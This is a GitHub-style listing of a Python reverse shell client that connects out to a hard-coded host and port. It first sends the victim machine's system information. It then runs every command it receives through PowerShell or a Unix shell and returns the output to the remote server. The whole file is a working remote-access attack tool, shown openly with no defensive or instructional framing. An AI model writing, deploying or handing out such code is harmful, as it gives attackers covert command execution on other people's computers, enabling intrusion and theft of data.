-
Notifications
You must be signed in to change notification settings - Fork 0
/
reverse-shell-client.py
74 lines (57 loc) · 2.52 KB
/
reverse-shell-client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import subprocess
import socket
import time
import os
import sys
import platform
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_ip = '192.168.1.70'
server_port = 8080
server_address = (server_ip, server_port)
client_socket.connect(server_address)
identifier = '<END_OF_COMMAND_OUTPUT>'
system_os = platform.system()
system_hostname = platform.node()
system_info = f'\nOS: {platform.system()}\nHostname: {platform.node()}\nVersion: {platform.version()}\nRelease: {platform.release()}\nArchitecture: {platform.machine()}\nProcessor: {platform.processor()}\n'
try:
sys_info = client_socket.send(system_info.encode())
while True:
data = client_socket.recv(1024)
server_command = data.decode()
if server_command.upper() == 'WQ':
break
elif server_command == '':
continue
elif server_command.startswith('cd'):
path = server_command.strip('cd ')
if os.path.exists(path):
os.chdir(path)
else:
print("Path doesn't exist.")
continue
else:
# IF MACHINE RUNS WINDOWS
if system_os.upper() == 'WINDOWS':
server_command_output = subprocess.run(['powershell.exe', server_command], shell=True, capture_output=True)
if server_command_output.stderr.decode('utf-8') == '':
command_result = server_command_output.stdout
command_result = command_result.decode('utf-8') + identifier
command_result = command_result.encode('utf-8')
else:
command_result = server_command_output.stderr
client_socket.sendall(command_result)
# IF MACHINE RUNS LINUX OR MACOS
elif system_os.upper() == 'LINUX' or system_os.upper() == 'MACOS':
server_command_output = subprocess.run(server_command, shell=True, capture_output=True)
if server_command_output.stderr.decode('utf-8') == '':
command_result = server_command_output.stdout
command_result = command_result.decode('utf-8') + identifier
command_result = command_result.encode('utf-8')
else:
command_result = server_command_output.stderr
client_socket.sendall(command_result)
except KeyboardInterrupt:
sys.exit()
except Exception as e:
print(f'Error occured.\n {e}')
time.sleep(5)